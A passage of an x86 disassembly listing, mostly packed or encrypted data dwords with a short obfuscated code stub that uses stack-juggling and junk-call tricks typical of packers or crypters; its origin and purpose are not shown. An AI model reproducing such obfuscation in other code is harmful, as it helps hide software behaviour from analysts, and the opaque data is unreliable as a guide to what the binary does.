		dd 4145C2C0h, 0F2F67375h, 0A9AD2A20h, 5E61DEDCh, 0F6F4C130h
		dd 0ACA67579h, 5E602B2Fh, 130DDDE1h, 7AE07096h,	794387A2h
		dd 0A68E03D6h, 9338E046h, 7A3C7F73h, 7B4310E6h,	2E6C53D8h
		dd 0E04CB2BAh, 29C21A80h, 30FC7F73h, 6921092Eh,	0EEF213A7h
		dd 3EA7241Eh, 98FE21F4h, 7F739340h, 350032F4h, 0C0260E33h
		dd 62602E54h, 0B1C1553Dh, 5BBECC4Bh, 0FF24E675h, 5B86C90Bh
		dd 0B36CB279h, 0EF2D93F3h, 89795B86h, 0FD334BFDh, 0DD4331BFh
		dd 81FD7C49h, 6F95C159h, 9A82A79Dh, 0F01A06h, 0A6470000h
		dd 20B4B280h, 14807A4Ah, 0FD2220EEh, 0CAB88115h, 420FD5A4h
		dd 0D1371F44h, 93D9FF65h, 995B7F73h, 64622F05h,	8EB64B3Fh
		dd 0F2187F73h, 0BA902426h, 565824EAh, 9F6F73F0h, 431339A5h
		dd 4CECB549h, 0C4C29079h, 9FC4C692h, 7FE551B7h,	755B952Ch
		dd 0ACA2749Ah, 0AF0B9F87h, 0AD8070EDh, 0AFB61C88h, 0C9737539h
		dd 0D53B9B07h, 73213907h, 0DAD4A331h, 3567CDB5h, 5E466B65h
		dd 0C794BACAh, 7B484CC9h, 0AA4F0F7Dh, 7A55B400h, 0DF6C3h
		dd 0DDD3A400h, 908E5C60h, 41430F13h, 0F8EEC0C4h, 0ACAA777Bh
		dd 8F7E2C2Fh, 4347C4C2h, 0F9FD7A74h, 0ABAF2C2Eh, 3E64E1DBh
		dd 869048AEh, 0D1A47943h, 1513E05Ch, 94FA5A98h,	7F739344h
		dd 9306D63Ch, 70327F73h, 8C62F6B8h, 745C2BCh, 0F4190FE1h
		dd 0AA481842h, 0E44ADB52h, 2CA1278h, 0AC6E7F73h, 10E0DD18h
		dd 6D3DF116h, 6EB2F673h, 987F7393h, 4D51CEC8h, 705E837Dh
		dd 587D7F4Ah, 3606DC70h, 3FA5A370h, 81A5531Ah, 0A68A06F6h
		dd 0F2F28689h, 0E9E3B339h, 2808716Ch, 0E3AEBB32h, 0DB000000h
		dd 102D82A6h, 0C431665h, 0E90E0CDAh, 0D8AB6D01h, 0B9373BF1h
		dd 73B88553h, 0BDEDAF7Fh, 76D3C0Fh, 7F73A2D1h, 0D53BA163h
		dd 0C6E50969h, 94A3523Dh, 62CDCA4Fh, 0E046E9C6h, 10EB364Ch
		dd 0CB8D755Bh, 506EB2A6h, 0C698795Bh, 163B3504h, 0EFA3C82Eh
		dd 24FE2321h, 0C839F3ACh, 2D4CC982h, 89C159EEh,	7Eh, 0E046A6B6h
		dd 7F739338h, 0D0E67A3Ch, 7F73930Dh, 61CDF6C9h,	0F711C13Dh
		dd 9478B2h, 9E6A90F0h, 4FF2089Ch, 0B1755B51h, 0A16E72EFh
		dd 0BDE7EA3h, 15187EEAh, 477372A2h, 2BF51985h, 6E943D22h
		dd 35395AEEh, 0D8FC686Ah, 0DFAFC87Fh, 7A43D708h, 72DE07DAh
		dd 0AF4590Ch, 0CD39FB79h, 13D1076Dh, 0D5636D0Ah, 0FDE50A08h
		dd 0DBE20397h, 94Fh, 9147AD0Dh,	296D0A13h, 0E4A65E5Ch
		dd 21F41550h, 528ED3Ah,	410D0979h, 76DD93Fh, 7F7312D1h
		dd 0CF3BA163h, 941200ABh, 99D5FA3h, 0AAF093F9h,	14A2755Bh
		dd 3A224749h, 19BBAFD4h, 62795BBAh, 9646AC0Ch, 0A2795BBAh
		dd 934C4CE0h, 59546316h, 2F53C1h, 85AB0000h, 0AA92B7B9h
		dd 7CA0DB16h, 867F7393h, 0AE96BBB9h, 0FBC01348h, 0E545FFFFh
		dd 7393597Fh, 804DDB7Fh, 0F755D82h, 76B8C6DFh, 5AEECF16h
		dd 0B380A61Fh, 0F61B1DE9h, 0A878A80Eh, 53BCD67Ah, 0FE2A438h
		dd 82547AE6h, 0EB7F678Ch, 8A3E75DBh, 9658755Bh,	0DD5B7D71h
		dd 9863795Bh, 0F0BD7196h, 5E1BCDF2h, 99E1169Bh,	0CC851963h
		dd 0A25BA112h, 5A165425h, 50562C1h, 0A68F0000h,	92B7B180h
		dd 354516AAh, 0FB678C5Fh, 9D0907D5h, 7393E137h,	3DD1937Fh
		dd 0DCA7CD2Dh, 93046DAh, 6B755B86h, 4A173DA9h, 6288B84Ch
		dd 1090AF81h, 1D89AA7Dh, 0B68168B7h, 90F656DAh,	0C966C148h
		dd 3A962AECh, 0BFE4DAACh, 0C1AD6BD1h, 5C7C966h,	7414399Fh
		dd 0B21884A1h, 0C34B36D6h, 668CF8BAh, 1B1F9C96h, 0ADE3514Bh
		dd 1F0412C1h, 0B418D44h, 1EEF0000h, 0D9A7AB28h,	8E5A5EDBh
		dd 390B0F8Ch, 0F5C2C643h, 2B777AF7h, 920F0DDAh,	48C5BF8Eh
		dd 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF794384h, 10E0A71Ch
		dd 0E1AF354Ch, 60C61844h, 0A5C89B3Bh, 73C1993Fh, 73D99B7Fh
		dd 0E34EA107h, 1C7C755Bh, 5BE766B6h, 0BC501279h, 0C329E60h
		dd 0BEC23F41h, 0D8CCF1F3h, 795BE700h, 5BF7A67Ah, 7EA17479h
		dd 5B17C018h, 82B27479h, 5A8E43F4h, 874DA92h, 73708FA2h
		dd 0A2FF173h, 2290C216h, 2C2CFC73h, 229016C6h, 0FA602273h
		dd 594F21D5h, 33EC5034h, 9C20879h, 8231ED8Ch, 1DC9C7h
		dd 0F4F60000h, 70663821h, 0CFC5974Bh, 0F65CC2AAh, 0BB7D248Ah
		dd 35F7755Bh, 0E5910h, 0F4600000h, 32980421h, 755BA7D3h
		dd 0B5CEF3B5h, 0AA1010E0h, 7F739372h, 47124406h, 0D971DF45h
		dd 0A3B85201h, 0A5111C8h, 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh
		dd 491B1F9Ch, 5D2D653h,	0DB878A07h, 0A21F1DEAh,	58D5CF9Eh
		dd 0A878954h, 0BF3C3606h, 75A30999h, 0FF79438Bh, 46A6B72Ch
		dd 739338E0h, 0E67A3C7Fh, 0C82E5124h, 7F739310h, 90FC6224h
		dd 0B26AD030h, 0C67F7393h, 934098FEh, 32F47F73h, 0BF2238CCh
		dd 0C1755B5Fh, 8CECDAFFh, 5BA7F626h, 29F48279h,	0B41A0227h
		dd 807A4A20h, 6D9CBF03h, 63389216h, 0DCAED23Eh,	97740EA9h
		dd 0F1F3BEF0h, 2F50E4CCh, 0CD09CDF1h, 0E8EF6E1Fh, 0C9EEE4B6h
		dd 0B88B4DE1h, 20E210D1h, 3AA0EDA8h, 228968CEh,	29EB5828h
		dd 84825004h, 97B3F418h, 846E4EC3h, 2254BAB4h, 4B335852h
		dd 0D3A696B7h, 0CDE046B2h, 2F46C0ACh, 8054486Dh, 0FB46B0ACh
		dd 0FA7FFCB5h, 0BCF4F469h, 117h, 421F4E9h, 5FAF3298h, 0FD1755Bh
		dd 0A06636EAh, 0B167CDD5h, 0C3795BA7h, 0B8359B01h, 0C5EAE4B4h
		dd 166D8ED1h, 0DF981092h, 128F8959h, 0D83E3E0Eh, 5200FD00h
		dd 0E70C7234h, 4D37A0F3h, 908658B9h, 0EAECB76Bh, 0BA73EBC5h
		dd 666834h, 0A96922B6h,	91B6B883h, 1D73DA9h, 332BCD3Bh
		dd 3707DD71h, 0ECBCC03Dh, 766286F2h, 0D39E8C82h, 8525EE82h
		dd 0F6F4C1AEh, 1783E9D1h, 48B51B7h, 0EBAD2BCDh,	0DBE14757h
		dd 1D2BCD04h, 1BEEDE5Bh, 39288EFAh, 3B21E521h, 47AD0D79h
		dd 25952691h, 844DE1A3h, 890600D0h, 96BBB585h, 0BAB082A8h
		dd 319AD95h, 2595262Dh,	0A86821B5h, 16E8B682h, 0AD13FB20h
		dd 79734319h, 9147AD0Dh, 0A3259525h, 0E82C4DE1h, 0B1E1EC52h
		dd 0FAFCC8EEh, 0B2CFA466h, 67613135h, 0B05D5FBh, 0A16AFEE6h
		dd 0C23FADh, 8841B93Ah,	0BB383202h, 0C8EDE7B7h,	0C4305528h
		dd 0D935C75Eh, 0F35F2120h, 96FC00CDh, 24D95B46h, 36CA30F2h
		dd 610E15h, 0F4150000h,	74980421h, 0A4EBE53Bh, 79487A6Bh
		dd 0DE725A7Fh, 0A23968CEh, 2787755Bh, 5BA11BC1h, 0D5036979h
		dd 5F795BA1h, 8F23E59Dh, 0DF057133h, 0BA83170Dh, 0DBD9A6CCh
		dd 9FA37147h, 5BA1E339h, 6DD39579h, 3218EEF0h, 0E71FF216h
		dd 5F848651h, 5AD94777h, 906729BDh, 73A10773h, 0F5795BB4h
		dd 0E037CC33h, 72AA1010h, 67F7393h, 2361DE44h, 315B9FC3h
		dd 0E4BB0671h, 732CAA72h, 780CCE7Fh, 56C2E3B6h,	5B0641F0h
		dd 75E1A375h, 0BDBD7D4Fh, 833F4B7Dh, 6014399Fh,	9E32988Eh
		dd 9B9D688Eh, 834F1A1Eh, 98E28F6h, 0E0056B21h, 0AC7C6D40h
		dd 0BAE04CB2h, 4B5BEFEDh, 73ED02E5h, 8DB27473h,	23FE4799h
		dd 0D9C09373h, 71013AEFh, 5F7DE320h, 0D97323FFh, 0DF4BB117h
		dd 0BCC5679h, 6D3AC879h, 418887A5h, 177D471Dh, 70723EF2h
		dd 97FD634Bh, 0AD5A7E72h, 95646D0Bh, 0F5C2769Bh, 80F8D2F7h
		dd 569C0DC7h, 6D59209Dh, 0D939CDA9h, 0BD9A573h,	790DCF6Dh
		dd 328Dh, 21F4BA00h, 0E1749804h, 0FBDC95F7h, 4CB2C256h
		dd 755B3205h, 0B076456Bh, 0D7BFE4E2h, 0F581DD71h, 0B2579021h
		dd 89AE1444h, 0AAA8759Bh, 1C3D16h, 0F4440000h, 32980421h
		dd 755BA7D3h, 6387F3B5h, 89566FACh, 4E7E668Bh, 9A2E0EB6h
		dd 80A6B8D1h, 481EB2B4h, 0E8E2B278h, 775DBC3h, 0B85201A5h
		dd 0E09D542Fh, 8E000006h, 464AC7BDh, 0F9FD7A78h, 0AAAE2B2Dh
		dd 6165E2D8h, 16199694h, 0AEAC7948h, 645E2D31h,	1618E3E7h
		dd 0CBC59599h, 3298284Eh, 79438FEAh, 0E546BB8Eh, 1A3B0E86h
		dd 867148AEh, 0C183755Bh, 0F4090F35h, 0F2C53F12h, 0E8FF65D1h
		dd 0D6BD354Dh, 51E5E3B0h, 6E0E33F5h, 0AE0E7A9Bh, 0D596BD8Ah
		dd 0F5892629h, 0CC0266DFh, 0BFF884BBh, 4CCB6FD4h, 3359C52Bh
		dd 0DFFD6363h, 59ABCC8Dh, 0B0B43197h, 0DE78E6E0h, 966CED1Eh
		dd 65504BBh, 32030000h,	0EDBBBF3Ch, 0A26E72EFh,	4D1F23A0h
		dd 9D6DA57h, 0DF8B8E0Bh, 0A62321EEh, 5CD9D3A2h,	0E8B8D58h
		dd 0C3403A0Ah, 71A70D9Dh, 379438Fh, 10E0BB30h, 130A816h
		dd 0E1BCB852h, 6162Ah, 0FDF3C400h, 0B0AE7C80h, 61632F33h
		dd 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh, 6367E4E2h, 191D9A94h
		dd 0CBCF4C4Eh, 5E8401FBh, 8EB068CEh, 0F1C47943h, 1610E07Ch
		dd 0B64B86AAh, 863BF4FFh, 0AB93B8BAh, 48E8B145h, 84E45075h
		dd 73D4FE1Eh, 88B87A7Fh, 0C6554749h, 98A83C03h,	0B5021438h
		dd 25614BB4h, 0B0B17B91h, 9FFF7523h, 43D0E339h,	3FD39579h
		dd 66A421E3h, 0D1CE4142h, 0AA3E12BCh, 84F015E8h, 6BCF0F1Eh
		dd 3BA76973h, 0B4484A15h, 1725F7EBh, 489E732Bh,	45279124h
		dd 2FC399DFh, 92B6762Fh, 431B3087h, 0DAA73B17h,	0C789889Fh
		dd 3FDCDF3h, 7662F6DEh,	0C0h, 0BF83E5A3h, 0ACD1C799h, 9B6E30C4h
		dd 4EAE0E7Ah, 739330E8h, 1682447Fh, 739368B0h, 0B64A0C7Fh
		dd 5B8699A0h, 0AD19DB75h, 0E87FB889h, 1DB19837h, 73EFC7EDh
		dd 0D4A74A52h, 4F1D43AFh, 0B0442C51h, 0BBEB3AA0h, 0CB8DA06Bh
		dd 0C792B8A6h, 9C6F31C5h, 0CBA50B77h, 0ADAE067Ch, 0BF1F7FEBh
		dd 0F0148359h, 81F3B59Eh, 9EF0145Bh, 77871BDDh,	1B818151h
		dd 9EF014FDh, 772F31FDh, 0CED24FB5h, 0C9604FEh,	0A059D186h
		dd 4D50EC5h, 0B2830000h, 6D3B3FBCh, 22EEF26Fh, 0CD9FA320h
		dd 89565AD7h, 5F0B0E8Bh, 26A3A16Eh, 0DC595322h,	8E0B0DD8h
		dd 43C0BA8Ah, 0F1278D1Dh, 8379438Dh, 0A4DD3BB0h, 0E4000000h
		dd 980421F4h, 23811632h, 4CB87A75h, 7071C8ECh, 0FB76979Dh
		dd 0C7C19167h, 0F38A375Bh, 9F51A722h, 4380E339h, 6DD39579h
		dd 567AB8D9h, 6B8E055Ch, 5F35C9C4h, 0D070958Fh,	0C6CD8FDh
		dd 0F71C16E6h, 62657B0Fh, 94736B34h, 0A00666D2h, 732B5478h
		dd 0DDA63AFCh, 0DD436A3Dh, 732B543Fh, 0A5117739h, 3607C3Fh
		dd 4EBC7E79h, 0AAD2F2C2h, 2CBC734Eh, 0DA000004h, 92961309h
		dd 4549C6C4h, 0F6FA7779h, 0ADB12E24h, 6265E2E0h, 0FAF8C534h
		dd 0B0AA797Dh, 62642F33h, 1711E1E5h, 7EE4749Ah,	79438C5Eh
		dd 0A09207DAh, 7F739378h, 73939E42h, 4C693C7Fh,	814E7AE0h
		dd 0D8FE7523h, 33E70C0Ah, 5C446963h, 7A0662F6h,	1709CF79h
		dd 7F75478Dh, 0DC0C725Ah, 8E8D0179h, 127EE492h,	9B8C4CB2h
		dd 1CA87943h, 0CF7A2A4Ch, 33C72D38h, 0ECE6B66Ah, 624B887Eh
		dd 0E29974BEh, 3A7h, 118E8455h,	0C4413F0Dh, 75F2F4C0h
		dd 2CA99F71h, 0E05D5B28h, 7340B1DDh, 25F4F875h,	0DFAAAE2Bh
		dd 8C5C60DDh, 5FEF1592h, 438C23F9h, 0D825579h, 0F11610E0h
		dd 0E9557E51h, 5BAE6083h, 0E4501275h, 0D0F5EFBEh, 0EF3354E8h
		dd 0B462DEA9h, 9868451h, 9C6E3805h, 2D1B40A6h, 14393B07h
		dd 1D6982Ch, 6EA078DEh,	0BA202C4Dh, 2C4D6E62h, 0DA9C5416h
		dd 0E08EF774h, 3DF11610h, 6F6736Dh, 40A61233h, 755B9255h
		dd 0C9299557h, 5B91B563h, 69FDBF79h, 0E98EB2A0h, 0F8D5810Ah
		dd 498BA135h, 71795BEFh, 0F09D9A3h, 779C02EAh, 0D4F9F3C3h
		dd 0FCB66F0Dh, 0CC8C458Bh, 0B7DCD6A6h, 0D53B3103h, 7CFC4CA5h
		dd 21B5C75Bh, 5A002554h, 3F91C1h, 0F4BE0000h, 32980421h
		dd 755BBEABh, 6226F519h, 0BF543D52h, 0D52FED53h, 8749795Bh
		dd 0B0D597F3h, 5BD518BCh, 641D6379h, 597592E7h,	0CE24C1h
		dd 587C0000h, 8621210Dh, 6A6C38CCh, 63F75D45h, 1610E028h
		dd 72703DF1h, 0CFC9994Dh, 0CB96BCAAh, 28BCA4C9h, 0B888252h
		dd 738E2AC7h, 4FECE7Fh,	0B9B38387h, 3A21F494h, 1F4302AFh
		dd 0AD197F4Ah, 5BE42047h, 0AD789E75h, 0CB2C7BABh, 0B9933F58h
		dd 8A07C925h, 329EC79Ah, 752A4DCCh, 39A56773h, 0CB484613h
		dd 8EFCFAC7h, 0B400AD76h, 38E89F7Ah, 0E6000002h, 9EA21F15h
		dd 5155D2D0h, 2068385h,	0B9BD3A30h, 6E71EEECh, 604D120h
		dd 0BCB68589h, 6E703B3Fh, 231DEDF1h, 8AF080A6h,	7943B352h
		dd 0E09E13E6h, 83A91513h, 1E1CE9B7h, 14DF93B8h,	5D7CAC12h
		dd 85A4E953h, 93D1F286h, 453B0D33h, 739405D3h, 0EDE3B57Fh
		dd 9DF7335h, 59C23F39h,	980421F4h, 14A8A272h, 0AC7EA404h
		dd 15A991B6h, 5BBE98FFh, 0B3D89A75h, 5B861DBFh,	0DAD8A579h
		dd 343601B5h, 4BD350Fh,	0DA93D94Ah, 59441C5Dh, 0DB9AC1h
		dd 0E0C70000h, 807A4A10h, 7541735Bh, 7BA10D73h,	5019ADAFh
		dd 736D3C62h, 0FCD2664Eh, 180C312Fh, 7F738EFBh,	0E94F4F1Fh
		dd 7F739633h, 7F518345h, 167C6489h, 0BAB484AAh,	31010526h
		dd 9F721237h, 84AA0A76h, 8F4DB3B7h, 0A97F7396h,	6E5C81E7h
		dd 7396D008h, 3CA2647Fh, 0A0FB92A8h, 0DB9D755Bh, 74FD4B6Fh
		dd 9F85A717h, 7FA49E6Dh, 0F2E20397h, 925C2A1Fh,	0F95FC5C7h
		dd 0EE53278Dh, 5F217375h, 200CDF3h, 68234785h, 0ADCF1CC9h
		dd 7A471DB1h, 0E7EC0E7Ch, 15F0B401h, 10A5Eh, 0F1E7B800h
		dd 0A4A27074h
		dd 55572327h, 0C02D4D8h, 0C0BE8B8Fh, 0A3124043h, 575BD8D6h
		dd 0D118E88h, 0BFC34042h, 5278F5EFh, 0B1BC5CC2h, 0E5B87943h
		dd 1513E070h, 0CAC49498h, 1DE90F4Dh, 7A0EF61Bh,	1610E03Fh
		dd 0B6B884AAh, 9F3DA391h, 997F7393h, 14DD71D7h,	7DCC9060h
		dd 0B81DA9B2h, 6DAB117Dh, 77F7328h, 7262DF45h, 0A40A769Fh
		dd 75233A84h, 4A48163Ch, 2C985AB6h, 5EB666CCh, 0C27943h
		dd 55B5A36Ch, 435E29EFh, 0F5894B79h, 0E9554F1Fh, 0CACE3EC5h
		dd 91C319E9h, 0BBA3C8C2h, 32020627h, 2E1F1338h,	0ACCB23E7h
		dd 25F57B34h, 1070AE2Bh, 0AF211BEAh, 2BE3E269h,	4B17490Bh
		dd 0FDFB549h, 0DC02F015h, 74764210h, 6D01674Fh,	63CFC597h
		dd 0DB6F713Dh, 91935E12h, 0EDEBB86Ch, 0AA6301C8h, 5912A6F0h
		dd 9D0903D3h, 15A9AB77h, 2620F0F4h, 154A01h, 0A6510000h
		dd 0CE6FB482h, 15A9FD4Bh, 15A0C4E6h, 469EA955h,	0E02D68FCh
		dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h,	0B1658A88h
		dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 4EC81h
		dd 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h
		db 89h,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	5C49h
		mov	[esp], esi
		mov	esi, 63012ADh
		mov	ebx, esi
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		add	dword ptr [esp], 7B601894h
		pop	eax
		sub	eax, 7B601894h
		mov	[ecx+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		db 98h
		dd 0AEF0A7AEh, 0B8811B8Fh, 6302357h, 0E0FFC503h, 518921CAh
		dd 3C8FCD9Ah, 5B5D9E59h, 6D498A2Eh, 391EA4A7h, 2D2EBE70h
		dd 71B9F57Ch, 7D9DE7CAh, 40EC5F08h, 288D6031h, 18E1517Dh
		dd 9A4C959h, 43E92B8Fh,	4E0B9A1Ch, 519515Ch, 78BCAE63h
		dd 31ABCA48h, 25148D8Dh, 6A0630h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 1EB8FDC3h, 0BA275FAFh
		dd 6830Fh, 0BD290000h, 6281889h, 7158D89h, 66600628h, 0BD8BF08Bh
		dd 62802D5h, 0BD896061h, 6281439h, 0C761B1B7h, 2821BD85h
		dd 6ECC06h, 8501F900h, 62832F1h, 113D85C7h, 628h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 29C14C3h, 0B5FFF8E6h, 62801BDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0D1C35545h,	99704A52h, 0E940855Dh
		dd 0Fh,	1B2CBE45h, 11729D8Ch, 54E1DD72h, 0FF40F795h, 2814D995h
		dd 6AF806h, 46595FFh, 0C08B0628h, 431A38EBh, 23B7ED62h
		dd 0D6ADC39Ch, 2036AD23h, 0E2439A54h, 1804F53Ch, 8F57AC81h
		dd 586A39CAh, 8410BC4Eh, 0EE3F3407h, 8E36A33Bh,	8CC12069h
		dd 15B111A3h, 9B94871h,	8D8DEB8Ch, 6302603h, 89C0BF0Fh
		dd 2807158Dh, 30D48006h, 21BD85C7h, 5CD40628h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 8CFE8CC3h, 9529FFF6h, 6283419h, 113D85C7h, 628h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 3FB310C3h, 79B5FFD7h, 8906282Eh, 2815059Dh, 0D995FF06h
		dd 6A062814h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 607C357h, 0DA4A5C35h, 19D8970h
		dd 89062804h, 28293D85h, 0FF006A06h, 28046595h,	0EBC08B06h
		dd 2ABF324Ah, 340EB937h, 2CD5C8D4h, 0B62B3C78h,	16A50C35h
		dd 65967F3Dh, 0A6F1E93Fh, 3F41C449h, 5006B855h,	89FBDE49h
		dd 0E47CCAB8h, 95E868DEh, 6E8A3h, 0A03D31C8h, 3C007A67h
		dd 0EB1B2913h, 272DCC52h, 358E4A18h, 0E8699954h, 12h, 0DFD97B44h
		dd 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 6660911Ch,	95DE281h
		dd 0EA815861h, 4D586910h, 73EAC081h, 2BF80000h,	8BCB8BDBh
		dd 10E81834h, 3E000000h, 0B09BFACBh, 3DBCD1EBh,	0CB6DF99Dh
		dd 0FEC12C3h, 688h, 3D958900h, 5A06282Eh, 9FC3F681h, 0BF0F6817h
		dd 0C0F681D6h, 8907A262h, 281F5185h, 99EE8106h,	560E62E0h
		dd 48FF58Ah, 9501F818h,	6281661h, 8901EB83h, 28111D85h
		dd 4B4B4B06h, 4A9A33B9h, 0E0FB8114h, 0FFFFF8Ch,	1085h
		dd 8CE18000h, 31E9h, 0A9B700h, 6DC1E355h, 0FE963h, 85CC0000h
		dd 696AE19h, 0E5131816h, 2C74959Bh, 0FF6DE989h,	6CA9FFFFh
		dd 0FCC0C0D4h, 66CC3D65h, 0A71A9957h, 10EB483Ch, 4 dup(0)
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B5298AC3h, 6282DB1h, 2D69B58Bh, 0BD830628h
		dd 6280149h, 83097500h,	2814C5BDh, 19740006h, 0C08B5350h
		dd 42DB8h, 91858900h, 8D062802h, 2AA55E9Dh, 5BD3FF06h
		dd 0C5BD8358h, 62814h, 53501774h, 42DB8h, 91858900h, 8D062802h
		dd 2AA24D9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 62939133h, 6027789Dh
		dd 68EA8166h, 6890FC0h,	89000000h, 2825C1BDh, 0C08B6106h
		dd 8BD2BF0Fh, 2810318Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 79822B58h, 0EE95760h
		dd 13000000h, 75185884h, 0A1C89027h, 0F4209670h, 8B665998h
		dd 0F98361FEh, 8A840F00h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 817DC351h
		dd 28EBD95Fh, 64BF174h,	1855B58Bh, 8D310628h, 6280781h
		dd 2C3D8B64h, 89000000h, 280B7D95h, 0FFF0B06h, 4484h, 8CBA6600h
		dd 0B1958B4Ah, 8B062802h, 0D585893Fh, 32062801h, 0DDB589C0h
		dd 0F3062824h, 51006AAAh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 4BCE605Fh, 0C8600925h
		dd 38BE6611h, 414935DFh, 85C65350h, 6280D25h, 68F18B47h
		dd 0F1EF8904h, 13E8h, 0C39AD400h, 0EE29ACD3h, 0AC2A32FDh
		dd 9CAD6136h, 684FF425h, 2434815Ah, 2D390128h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 30C35040h, 0B5FF0A7Ch
		dd 628140Dh, 6F58858Dh,	6A062Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 3DBB51C3h, 0D0FFF172h
		dd 0BA1EDA81h, 0D08B6948h, 7758589h, 0B58B0628h, 628198Dh
		dd 14E9h, 96A28A00h, 5ECA8262h,	0D1D1E6E0h, 73A998AAh
		dd 2952F609h, 2585C644h, 5306280Dh, 36DB58Bh, 9B680628h
		dd 6009164Eh, 12E8h, 5DFB8200h,	250FEFBFh, 0E7B35885h
		dd 0FC3E0204h, 581070CBh, 12E8h, 70F74500h, 462994ACh
		dd 345BED1Eh, 2E184B23h, 5911AFF0h, 24048161h, 7F821C61h
		dd 7E9h, 0DF09C00h, 0D4C028F7h,	140DB5FFh, 858D0628h, 62B6F58h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1CC35747h
		dd 0E3A968D5h, 0F38BD0FFh, 339B858Dh, 6A062Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 2A595EC3h, 0E59ACE81h, 0EE9BCh, 42030000h, 0FC79DD7Ah
		dd 223DEBECh, 50BE2170h, 6870Fh, 958B0000h, 6280C89h, 2D358589h
		dd 206A0628h, 95FFFF6Ah, 6282D35h, 50414935h, 6185C753h
		dd 1062809h, 0C7000000h, 2801E185h, 6, 8DB58B00h, 8B062819h
		dd 281FF9B5h, 0F0B70F06h, 18E1858Bh, 0BA660628h, 0A3647806h
		dd 0
		dd 22F98529h, 0BD830628h, 6283311h, 22840F00h, 8B000000h
		dd 4D858BF0h, 8B06281Dh, 0D0CE81D3h, 8B749F93h,	0BE9E0h
		dd 0AE640000h, 35939FBh, 0F975E2D2h, 7DBD83D5h,	62826h
		dd 48B850Fh, 0DE80000h,	0B3000000h, 0D9BA99B7h,	0CEE215F8h
		dd 0BBF57D75h, 14E9h, 34EDA100h, 1A5D0C4Dh, 865A5123h
		dd 3E06EE10h, 8C90AB18h, 85C65A40h, 6280D25h, 15858956h
		dd 0E8062815h, 4, 0A9C530DFh, 2B26BE66h, 8BF18B50h, 66042444h
		dd 8B7789BAh, 890F00h, 89000000h, 50042444h, 0BE310F52h
		dd 74C96BBh, 3358585Ah,	280FF995h, 0DB5FF06h, 56062814h
		dd 0DE8h, 0DF956C00h, 0FBE81E5Bh, 8AB676A3h, 5E5AAD93h
		dd 6F58858Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 12F4A2C3h, 0A17F9C7h, 0E681B3B2h
		dd 0E4CBC6Ch, 0F680D0FFh, 6E9509Bh, 7C000000h, 29D36EE5h
		dd 240489DBh, 7859523h,	8D8D0628h, 62821D1h, 0E7F68166h
		dd 8B665060h, 240C89F2h, 0F71D280h, 589h, 0A5FEBE00h, 46A0B58h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 46C35545h
		dd 0C820Fh, 8C0F0000h, 6, 0CE5958Bh, 98680628h,	0E9C0BA87h
		dd 0Ah,	26C94935h, 0A01AC8E3h, 481C79Ah, 45886824h, 53006A3Fh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7380EEE2h, 10B6BA56h, 0FF5A6E3Ch, 282BDDB5h,	6800F06h
		dd 1000000h, 2825118Dh,	0D0FFF506h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0FDC35747h,	8B35FEE7h, 2805E995h
		dd 0F945BA06h, 0BD8B0EECh, 6282BDDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0F0C35545h,	0C480EC5h, 21A9B58Bh
		dd 7F030628h, 0C781F83Ch, 0F8h,	26D9589h, 47C70628h, 2024h
		dd 83F48A60h, 302727BDh, 840F0006h, 1BCh, 66D6B70Fh, 83276DBAh
		dd 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5B7F58C3h, 6F54737Eh, 8D89575Dh, 628180Dh
		dd 2E07C75Ah, 6A64696Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0A560C353h,	0B288822h
		dd 0E89B7106h, 14h, 4FD3344Bh, 0E6C418D1h, 0EB80364Dh
		dd 544725C1h, 0E2AF2B23h, 0AE9h, 9551E400h, 0C64727A2h
